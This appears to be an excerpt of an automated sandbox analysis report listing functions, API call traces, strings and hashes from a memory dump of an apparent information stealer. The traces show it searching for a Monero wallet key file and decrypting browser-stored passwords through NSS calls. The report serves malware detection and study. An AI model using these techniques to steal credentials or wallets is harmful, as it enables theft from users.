Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 54c19bafe40f69d92d98b4515bc83bb7b5f8600c204eed078b1dc7141fcf5e70
Instruction ID: d92ef8002a854d446371af1ba1885b510fec66f40e18bad0695cd6afce90f855
Opcode Fuzzy Hash: 54c19bafe40f69d92d98b4515bc83bb7b5f8600c204eed078b1dc7141fcf5e70
Instruction Fuzzy Hash: 36A151B1A54208AFDB24EF64DD89FEE7379BB44700F044588F60D96141EB799B84CFA2

Function 6C67C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C67C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C67C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C67C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C67CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C67DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C67DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C67DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C67E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C67E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C67E472

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 243868f86dce953560b409b55393b103b404dec596fead2210ecc5dc668d13de
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 4E33D071E0021ACFCB14CFA8C8806EDBBF2FF49314F284A69D955AB745D731A945CBA4

Function 6C63ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C63EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C63EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C641695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C641770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C641A3E

Strings

~qal, xrefs: 6C63ED13
~qal, xrefs: 6C63ED10

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qal$~qal
API String ID: 3693777188-1041579534
Opcode ID: 43d12380214f7a27e54d372fe79b1289a8f5883d0c4e6a87a381cf3bfb4d95e1
Instruction ID: eaddb6c12886f1a02cc0812dad060261293d2c6ba78844e35bcef74aeab4e2de
Opcode Fuzzy Hash: 43d12380214f7a27e54d372fe79b1289a8f5883d0c4e6a87a381cf3bfb4d95e1
Instruction Fuzzy Hash: BAB31871E04229CFCB14CFA8C890ADDB7B2BF49304F2582A9D559AB745D730AD86CF94

Function 00784570 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,ogle.com.google.com *.mn 1.google.com.google.com *.lb 1.google.com.google.com *.es 1.google.com.google.com *.org 1.google.com.google.com *.uk 1.google.com.google.com *.ug 1.google.com.google.com<br), ref: 00784580
RtlAllocateHeap.NTDLL(00000000), ref: 00784587
wsprintfA.USER32 ref: 007845A6
FindFirstFileA.KERNEL32(?,?), ref: 007845BD
StrCmpCA.SHLWAPI(?,00790FC4), ref: 007845EB
StrCmpCA.SHLWAPI(?,00790FC8), ref: 00784601
FindNextFileA.KERNEL32(000000FF,?), ref: 0078468B
FindClose.KERNEL32(000000FF), ref: 007846A0
lstrcat.KERNEL32(?,014BE4C0), ref: 007846C5
lstrcat.KERNEL32(?,014BD638), ref: 007846D8
lstrlen.KERNEL32(?), ref: 007846E5
lstrlen.KERNEL32(?), ref: 007846F6

Strings

ogle.com.google.com *.mn 1.google.com.google.com *.lb 1.google.com.google.com *.es 1.google.com.google.com *.org 1.google.com.google.com *.uk 1.google.com.google.com *.ug 1.google.com.google.com<br, xrefs: 00784579
%s\*, xrefs: 0078459A
%s\%s, xrefs: 0078461B

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$ogle.com.google.com *.mn 1.google.com.google.com *.lb 1.google.com.google.com *.es 1.google.com.google.com *.org 1.google.com.google.com *.uk 1.google.com.google.com *.ug 1.google.com.google.com<br
API String ID: 671575355-3509088531
Opcode ID: c8cb7b03aeb09b81a3c1a277530b5ef55c31bbac1835a34df0073baedf3942b9
Instruction ID: 7354edd6d2d7183ae3e8121222d0c332b71f9b37d93a12f39d13f9af476dea24
Opcode Fuzzy Hash: c8cb7b03aeb09b81a3c1a277530b5ef55c31bbac1835a34df0073baedf3942b9
Instruction Fuzzy Hash: 385154B1954218ABCB24FB70DD8DFED737CAB58310F404688F60992190EF789B849F92

Function 6C62FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E7B8), ref: 6C62FF81
LeaveCriticalSection.KERNEL32(6C69E7B8), ref: 6C63022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C630240
EnterCriticalSection.KERNEL32(6C69E768), ref: 6C63025B
LeaveCriticalSection.KERNEL32(6C69E768), ref: 6C63027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C62FE99, 6C62FEB7, 6C62FED3, 6C630DB8, 6C630DD3, 6C6319B4
<jemalloc>, xrefs: 6C630D62, 6C630D76, 6C630DA7
: (malloc) Error in VirtualFree(), xrefs: 6C630D67, 6C630D7B, 6C630DAC

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: da92db75148dfa28234be3a1a8e35d0f11dc0c355b5097b88f88a6620c3d9484
Instruction ID: 1f4d7d1d744c19120deb09e9727ed1ff2d2f9de6de68ba4fe3fd066bb89a7f37
Opcode Fuzzy Hash: da92db75148dfa28234be3a1a8e35d0f11dc0c355b5097b88f88a6620c3d9484
Instruction Fuzzy Hash: ADC2E071A057518FC714CF28C580756BBE1BF85328F28E66DE4AA8B7D5C731E805CB89

Function 0077ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0077ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0077ED55
StrCmpCA.SHLWAPI(?,00791538), ref: 0077EDAB
StrCmpCA.SHLWAPI(?,0079153C), ref: 0077EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0077F2AE
FindClose.KERNEL32(000000FF), ref: 0077F2C3

Strings

%s\*.*, xrefs: 0077ED32

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 0af7eb328acb9bcd27bb6e5b71f20dda540c4a9cfad12ecafb2b7628366d0ee0
Instruction ID: 38c023ea87cfeb31bde134f748293e07e07e6f18bb5a2a7a440aac848fd904aa
Opcode Fuzzy Hash: 0af7eb328acb9bcd27bb6e5b71f20dda540c4a9cfad12ecafb2b7628366d0ee0
Instruction Fuzzy Hash: FCE1D271951118EAEB55FB60DC56EEE7378AF54300F4041EAB50A62052EF3C6F8ACF62

Function 6C63D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D4F2
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D50B

Part of subcall function 6C61CFE0: EnterCriticalSection.KERNEL32(6C69E784), ref: 6C61CFF6
Part of subcall function 6C61CFE0: LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C61D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D52E
EnterCriticalSection.KERNEL32(6C69E7DC), ref: 6C63D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63D6A6
LeaveCriticalSection.KERNEL32(6C69E7DC), ref: 6C63D712
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C63D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C63D82C
<jemalloc>, xrefs: 6C63D827

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 8020a95f8bbee91989cbf35fe8e393b68897f98a0b8eb66677ecbc3f715f652f
Instruction ID: fbf6493061e0294955dabed399b31af046f7cfc73d5b7e5f5fe55d2c0fd3eea7
Opcode Fuzzy Hash: 8020a95f8bbee91989cbf35fe8e393b68897f98a0b8eb66677ecbc3f715f652f
Instruction Fuzzy Hash: BC91D471A147118FD714CF29C59476AB7F1FB86318F14A92EE5AE87B80D730E844CB8A

Function 0077DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00790C2E), ref: 0077DE5E
StrCmpCA.SHLWAPI(?,007914C8), ref: 0077DEAE
StrCmpCA.SHLWAPI(?,007914CC), ref: 0077DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0077E3E0
FindClose.KERNEL32(000000FF), ref: 0077E3F2

Strings

\*.*, xrefs: 0077DE26

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: da6b32fdf824fcd42dd99a7837d31cd9a89a575a5e280a77b35def9abf14a928
Instruction ID: a472286479d437c094fd1c9d73bc7f7552076cd869174e68a789944be9be2a8a
Opcode Fuzzy Hash: da6b32fdf824fcd42dd99a7837d31cd9a89a575a5e280a77b35def9abf14a928
Instruction Fuzzy Hash: 45F18371954118EAEB16FB60DC99EEE7378BF54300F9041EAA41A62051DF3C6F4ACF62

Function 00B4C61D Relevance: 14.2, Strings: 10, Instructions: 1659COMMON

Download Yara Rule

Strings

O;[~, xrefs: 00B4CA21
y>m, xrefs: 00B4CF5B
EF~e, xrefs: 00B4D906
A?r), xrefs: 00B4C8B9
'4M, xrefs: 00B4CF39
;W?w, xrefs: 00B4D355
Bbo, xrefs: 00B4D3F7
|)@w, xrefs: 00B4C7BC
q-6, xrefs: 00B4C717
}>m, xrefs: 00B4CF4F

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '4M$;W?w$A?r)$Bbo$EF~e$O;[~$q-6$y>m$|)@w$}>m
API String ID: 0-1038416396
Opcode ID: 7cbe806399eb4eb7096cab78e6aac77cace4f20237972a5e923aac640ab0b691
Instruction ID: 890a4ad84e33ffde979c4be8ae33517aa475ce5b6394f77fca457635f4e0c93c
Opcode Fuzzy Hash: 7cbe806399eb4eb7096cab78e6aac77cace4f20237972a5e923aac640ab0b691
Instruction Fuzzy Hash: 60B218F3A0C2049FE3046E2DEC8567ABBE9EF94720F1A453DE6C5C7740EA7598018696

Function 0077C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0077C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0077C87C
PK11_GetInternalKeySlot.NSS3 ref: 0077C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0077C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0077C8EB
lstrcat.KERNEL32(?,00790B46), ref: 0077C943
lstrcat.KERNEL32(?,00790B47), ref: 0077C957
PK11_FreeSlot.NSS3(?), ref: 0077C961
lstrcat.KERNEL32(?,00790B4E), ref: 0077C978

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
